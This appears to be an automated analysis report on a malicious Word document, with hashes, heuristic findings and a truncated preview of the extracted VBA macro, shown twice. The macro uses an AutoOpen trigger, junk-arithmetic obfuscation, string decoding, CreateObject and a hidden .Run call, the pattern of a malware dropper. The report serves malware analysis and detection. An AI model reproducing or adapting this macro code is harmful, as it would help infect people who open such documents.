Office (OLE) malware analysis — malicious · 80410c13d41957b7

MALICIOUS

Office (OLE)

104.5 KB Created: 2018-06-20 15:07:00 Authoring application: Microsoft Office Word First seen: 2019-05-31

MD5: cdab1d69d35b6a8d6faebc9ec7c07a9b SHA-1: 68445730d84de9ad7905a256901cdbb47fe0cc2c SHA-256: 80410c13d41957b7424d08589ee3c883e55c82f2a4118f4ef6d5d3aa59f95956

162 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains a VBA macro with an AutoOpen function, a common technique for malicious documents. The macro employs obfuscation and calls `CreateObject`, suggesting it attempts to execute arbitrary code, likely to download and run a secondary payload. The presence of `CreateObject` and the AutoOpen macro strongly indicate malicious intent, but the specific payload and its destination are not directly discernible from the provided evidence.

Heuristics 6

VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7887 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	7887 bytes
SHA-256: `885f82e82efc029a3624883e62a8d649f75382c4c4d596c5506c1344bb10d1ba`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub AutOOpen() If 11 = 22 Then MsgBox "Test message" End If cassie688 End Sub Attribute VB_Name = "aper1997" Function kaylamegan(kramer008) AVOGORIP = 50 + 91 AVOGORIP = AVOGORIP * AVOGORI AVOGORIP = AVOGORIP - 44 * AVOGORIP - AVOGORIP - 6 AVOGORIP = AVOGORIP * 100 - AVOGORI AVOGORIP = AVOGORIP * 7 - 56 - AVOGORI kaylamegan = minecassie(printjenni + AVONINNINEHSARK.DARGILEV) + kramer008 + _ minecassie(AVONINNINEHSARK.musicalpha) + kramer008 + minecassie(gadferet.jiangtemp) End Function Function cowboyslee(abota111, dwightcoke, VOKILVEHS, emailbaby) AVOGORIP = 50 + 91 AVOGORIP = AVOGORIP * AVOGORI AVOGORIP = AVOGORIP - 44 * AVOGORIP - AVOGORIP - 6 AVOGORIP = AVOGORIP * 100 - AVOGORI AVOGORIP = AVOGORIP * 7 - 56 - AVOGORI jecturnb.rhinepru = Kkk11199(abota111, dwightcoke) + spokeian(abota111, VOKILVEHS) + kaylamegan(emailbaby) End Function Function avosayta() avosayta = "VNc4wEgc@w wXqVI4XIwqTXNck EqIewq" End Function Function minecassie(davemimi) erens321 = "" fulnient = Len(davemimi) vokperaC = 1 Do While vokperaC <= fulnient AVOGORIP = 50 + 23 If 28 = 29 Then MsgBox "Ok" End If AVOGORIP = AVOGORIP * AVOGORI AVOGORIP = AVOGORIP - 44 * AVOGORIP - AVOGORIP - 6 AVOGORIP = AVOGORIP * 100 - AVOGORI AVOGORIP = AVOGORIP * 7 - 56 - AVOGORI erens321 = erens321 + AVOZAYIS(cocogush(davemimi, vokperaC), 5) vokperaC = vokperaC + 1 Loop minecassie = erens321 End Function Attribute VB_Name = "AVONINNINEHSARK" Attribute VB_Base = "0{96C90C80-4807-4CF4-9A28-76ECB99B710E}{9D720DF4-E814-41B2-905F-60AC9F7B030E}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Private Sub deleterrr_Change() End Sub Private Sub strider0_Change() End Sub Attribute VB_Name = "dyeschis" Function kmvghjie(filedonald) water200 = "'mq" AVOGORIP = 50 + 91 AVOGORIP = AVOGORIP * AVOGORI If 87 = 88 Then MsgBox "Hello open macros" End If AVOGORIP = AVOGORIP - 44 * AVOGORIP - AVOGORIP - 6 AVOGORIP = AVOGORIP * 100 - AVOGORI AVOGORIP = AVOGORIP * 7 - 56 - AVOGORI fdjksdhf filedonald, jecturnb.rhinepru End Function Function fdjksdhf(sfsdfe, igbf) sfsdfe.Run igbf, 0, True End Function Attribute VB_Name = "gadferet" Attribute VB_Base = "0{4077E61A-8E5B-478D-8E4D-AE8B9920445B}{EC488224-D6DB-47AA-B84C-88E046058976}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Private Sub jiangtemp_Change() MsgBox "Ok" End Sub Private Sub Lianora_Change() MsgBox "Ok" End Sub Private Sub ROUTE601_Change() angParty = "sdfjhu" veci2223 = "uhyru" joomkill = "opotyu" collinso = "qwecz" rhonmuss = 75 - 18 rhonmuss = 70 + 23 * 100 rhonmuss = rhonmuss + 4 rhonmuss = 30 - rhonmuss * 71 - 4 cowboyslee angParty, veci2223, joomkill, collinso End Sub Attribute VB_Name = "jecturnb" Attribute VB_Base = "0{B85C0340-D170-486C-87DE-87C88F00B704}{64768411-3D4D-4E07-AFE6-B19192967F98}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Private Sub bysovafl_Change() MsgBox "Ok" End Sub Private Sub eatme45678_Change() MsgBox "Ok" End Sub Private Sub heavfirm_Change() MsgBox "Ok" End Sub Private Sub rhinepru_Change() Set dosmonday = CreateObject(blkchick) dfvvpurq = 8 + 32 dfvvpurq = 52 - 15 - 5 dfvvpurq = 77 * 64 + 63 - dfvvpur dfvvpurq = 71 - dfvvpurq - 6 - 3 dfvvpurq = 88 * dfvvpurq + 34 * 6 kmvghji ... (truncated)

SHA-256: 885f82e82efc029a3624883e62a8d649f75382c4c4d596c5506c1344bb10d1ba

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutOOpen()
If 11 = 22 Then
MsgBox "Test message"
End If
cassie688
End Sub


Attribute VB_Name = "aper1997"
Function kaylamegan(kramer008)
AVOGORIP = 50 + 91
AVOGORIP = AVOGORIP * AVOGORI
AVOGORIP = AVOGORIP - 44 * AVOGORIP - AVOGORIP - 6
AVOGORIP = AVOGORIP * 100 - AVOGORI
AVOGORIP = AVOGORIP * 7 - 56 - AVOGORI
kaylamegan = minecassie(printjenni + AVONINNINEHSARK.DARGILEV) + kramer008 + _
minecassie(AVONINNINEHSARK.musicalpha) + kramer008 + minecassie(gadferet.jiangtemp)
End Function

Function cowboyslee(abota111, dwightcoke, VOKILVEHS, emailbaby)
AVOGORIP = 50 + 91
AVOGORIP = AVOGORIP * AVOGORI
AVOGORIP = AVOGORIP - 44 * AVOGORIP - AVOGORIP - 6
AVOGORIP = AVOGORIP * 100 - AVOGORI
AVOGORIP = AVOGORIP * 7 - 56 - AVOGORI
jecturnb.rhinepru = Kkk11199(abota111, dwightcoke) + spokeian(abota111, VOKILVEHS) + kaylamegan(emailbaby)
End Function

Function avosayta()
avosayta = "VNc4wEgc@w wXqVI4XIwqTXNck EqIewq"
End Function

Function minecassie(davemimi)
erens321 = ""
fulnient = Len(davemimi)
vokperaC = 1
Do While vokperaC <= fulnient
AVOGORIP = 50 + 23
If 28 = 29 Then
MsgBox "Ok"
End If
AVOGORIP = AVOGORIP * AVOGORI
AVOGORIP = AVOGORIP - 44 * AVOGORIP - AVOGORIP - 6
AVOGORIP = AVOGORIP * 100 - AVOGORI
AVOGORIP = AVOGORIP * 7 - 56 - AVOGORI
erens321 = erens321 + AVOZAYIS(cocogush(davemimi, vokperaC), 5)
vokperaC = vokperaC + 1
Loop
minecassie = erens321
End Function






Attribute VB_Name = "AVONINNINEHSARK"
Attribute VB_Base = "0{96C90C80-4807-4CF4-9A28-76ECB99B710E}{9D720DF4-E814-41B2-905F-60AC9F7B030E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Private Sub deleterrr_Change()

End Sub

Private Sub strider0_Change()

End Sub

Attribute VB_Name = "dyeschis"
Function kmvghjie(filedonald)
water200 = "'mq"
AVOGORIP = 50 + 91
AVOGORIP = AVOGORIP * AVOGORI
If 87 = 88 Then
MsgBox "Hello open macros"
End If
AVOGORIP = AVOGORIP - 44 * AVOGORIP - AVOGORIP - 6
AVOGORIP = AVOGORIP * 100 - AVOGORI
AVOGORIP = AVOGORIP * 7 - 56 - AVOGORI
fdjksdhf filedonald, jecturnb.rhinepru
End Function

Function fdjksdhf(sfsdfe, igbf)
sfsdfe.Run igbf, 0, True
End Function






Attribute VB_Name = "gadferet"
Attribute VB_Base = "0{4077E61A-8E5B-478D-8E4D-AE8B9920445B}{EC488224-D6DB-47AA-B84C-88E046058976}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Private Sub jiangtemp_Change()
MsgBox "Ok"
End Sub

Private Sub Lianora_Change()
MsgBox "Ok"
End Sub

Private Sub ROUTE601_Change()
angParty = "sdfjhu"
veci2223 = "uhyru"
joomkill = "opotyu"
collinso = "qwecz"
rhonmuss = 75 - 18
rhonmuss = 70 + 23 * 100
rhonmuss = rhonmuss + 4
rhonmuss = 30 - rhonmuss * 71 - 4
cowboyslee angParty, veci2223, joomkill, collinso
End Sub

Attribute VB_Name = "jecturnb"
Attribute VB_Base = "0{B85C0340-D170-486C-87DE-87C88F00B704}{64768411-3D4D-4E07-AFE6-B19192967F98}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Private Sub bysovafl_Change()
MsgBox "Ok"
End Sub

Private Sub eatme45678_Change()
MsgBox "Ok"
End Sub

Private Sub heavfirm_Change()
MsgBox "Ok"
End Sub

Private Sub rhinepru_Change()
Set dosmonday = CreateObject(blkchick)
dfvvpurq = 8 + 32
dfvvpurq = 52 - 15 - 5
dfvvpurq = 77 * 64 + 63 - dfvvpur
dfvvpurq = 71 - dfvvpurq - 6 - 3
dfvvpurq = 88 * dfvvpurq + 34 * 6
kmvghji
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.